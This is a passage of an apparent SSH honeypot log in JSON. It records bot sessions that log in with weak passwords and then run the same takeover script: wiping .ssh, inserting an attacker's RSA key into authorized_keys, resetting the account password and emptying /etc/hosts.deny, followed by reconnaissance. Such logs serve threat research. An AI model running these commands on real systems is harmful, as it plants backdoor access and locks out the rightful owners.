$7}'"},{"seq":10,"at":"2026-08-26T22:26:29.360073+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:26:29.430106+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:26:30.603024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:26:30.672846+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:26:31.179058+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:26:31.247074+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:26:31.707792+00:00","kind":"output","latency_ms":null,"data":" 22:26:31 up 6 days, 19:16, 0 user, load average: 0.34, 0.29, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:26:31.773948+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:26:32.384706+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:26:32.452939+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:26:33.001780+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:26:33.070770+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:26:33.934503+00:00","kind":"output","latency_ms":null,"data":"top - 22:26:33 up 6 days, 19:16, 0 user, load average: 0.34, 0.29, 0.4\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T22:26:34.001632+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:26:34.361484+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:26:34.429950+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:26:35.111113+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:26:35.176713+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:26:35.493906+00:00","kind":"output","latency_ms":null,"data":"minecraft"},{"seq":29,"at":"2026-08-26T22:26:35.558349+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:26:36.543461+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:26:36.606889+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:26:38.796193+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"minecraft","password":"123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"3bdfa553-0792-4bb2-8f21-8f3acd304c18","name":"grumpy-jolly-chinchilla","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":51582,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":69,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:24:40.906880+00:00","ended_at":"2026-08-26T22:24:43.107634+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T22:24:19.829100+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:24:19.899577+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:24:22.648082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:24:22.958604+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:24:23.029104+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12344321\\n8CLqrlFxWTnt\\n8CLqrlFxWTnt\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:24:23.097665+00:00","kind":"input","latency_ms":null,"data":"echo \"12344321\\n8CLqrlFxWTnt\\n8CLqrlFxWTnt\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:24:23.177723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:24:23.522899+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:24:23.595865+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:24:24.771206+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:24:24.842079+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:24:26.101232+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:24:26.174660+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:24:26.970294+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:24:27.056673+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:24:28.419937+00:00","kind":"output","latency_ms":null,"data":" 22:24:28 up 6 days, 19:14, 0 user, load average: 0.25, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:24:28.489129+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:24:30.500597+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:24:30.570181+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:24:32.564295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:24:32.639908+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:24:34.533935+00:00","kind":"output","latency_ms":null,"data":"top - 22:24:34 up 6 days, 19:14, 0 user, load average: 0.25, 0.23, 0.16\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T22:24:34.604877+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:24:35.756242+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:24:35.828913+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:24:37.792942+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:24:37.864771+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:24:39.861906+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T22:24:39.936156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:24:40.835511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:24:40.907409+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:24:43.088585+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"12344321","method":"password","accepted":true,"tier":"other"}]} {"id":"40fa65fd-fcab-4975-9d61-7c84f4d67b80","name":"diligent-burly-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":52690,"username":"yx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:22:35.264741+00:00","ended_at":"2026-08-26T22:22:36.950695+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T22:22:14.001606+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:22:14.067646+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:22:17.234895+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:22:18.353369+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:22:18.420449+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nXHN7wNmYsdVl\\nXHN7wNmYsdVl\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:22:18.489098+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nXHN7wNmYsdVl\\nXHN7wNmYsdVl\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:22:18.555532+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:22:19.449717+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:22:19.518382+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:22:20.391310+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:22:20.461532+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T22:22:21.856085+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:22:21.925864+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T22:22:22.809788+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T22:22:22.877381+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T22:22:24.869424+00:00","kind":"output","latency_ms":null,"data":" 22:22:24 up 6 days, 19:12, 0 user, load average: 0.24, 0.31, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T22:22:24.934693+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T22:22:26.152293+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T22:22:26.218799+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T22:22:27.148933+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T22:22:27.217592+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T22:22:28.287187+00:00","kind":"output","latency_ms":null,"data":"top - 22:22:28 up 6 days, 19:12, 0 user, load average: 0.24, 0.31, 0.26\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T22:22:28.358449+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:22:29.671966+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:22:29.738403+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:22:31.722123+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:22:31.790855+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:22:33.357228+00:00","kind":"output","latency_ms":null,"data":"yx"},{"seq":29,"at":"2026-08-26T22:22:33.431063+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:22:35.195765+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:22:35.265479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:22:36.940436+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yx","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a72392cf-d7c3-496c-aa59-bdc47134a553","name":"prairie-lunar-martin","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":44288,"username":"maman","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:20:28.578573+00:00","ended_at":"2026-08-26T22:20:30.099169+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-26T22:20:06.145143+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:20:06.228471+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:20:09.303087+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:20:10.577120+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:20:10.646480+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nZ78N3rcO89Zo\\nZ78N3rcO89Zo\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:20:10.714555+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nZ78N3rcO89Zo\\nZ78N3rcO89Zo\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:20:10.782693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:20:11.542786+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:20:11.641773+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:20:12.656634+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T22:20:12.725488+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:20:13.806168+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:20:13.875202+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:20:15.026062+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:20:15.094730+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:20:16.430563+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:20:16.499237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:20:17.395509+00:00","kind":"output","latency_ms":null,"data":" 22:20:17 up 6 days, 19:10, 0 user, load average: 0.16, 0.13, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:20:17.470672+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:20:19.403947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:20:19.473888+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:20:20.490853+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:20:20.558300+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:20:22.580544+00:00","kind":"output","latency_ms":null,"data":"top - 22:20:22 up 6 days, 19:10, 0 user, load average: 0.16, 0.13, 0.15\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:20:22.652053+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:20:24.630140+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:20:24.698911+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:20:25.837570+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:20:25.908614+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:20:27.581082+00:00","kind":"output","latency_ms":null,"data":"maman"},{"seq":31,"at":"2026-08-26T22:20:27.650490+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:20:28.510900+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:20:28.579383+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:20:30.086788+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"maman","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c8627d04-62b1-494d-82ff-b6cc011a3e3a","name":"lawful-woven-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":54148,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:18:25.699676+00:00","ended_at":"2026-08-26T22:18:27.811255+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:18:04.197234+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:18:04.267561+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:18:06.352664+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:18:07.593255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:18:07.660944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lhBNzm6CbJbu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:18:07.728824+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:18:07.796753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:18:08.794577+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:18:08.866886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:18:09.664575+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:18:10.333634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:18:10.402850+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:18:11.231893+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:18:11.303717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:18:12.309580+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:18:12.379444+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:18:13.493031+00:00","kind":"output","latency_ms":null,"data":" 22:18:13 up 6 days, 19:08, 0 user, load average: 0.09, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:18:13.563558+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:18:15.572641+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:18:15.640843+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:18:17.362241+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:18:17.429935+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:18:19.610967+00:00","kind":"output","latency_ms":null,"data":"top - 22:18:19 up 6 days, 19:08, 0 user, load average: 0.09, 0.07, 0.08\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 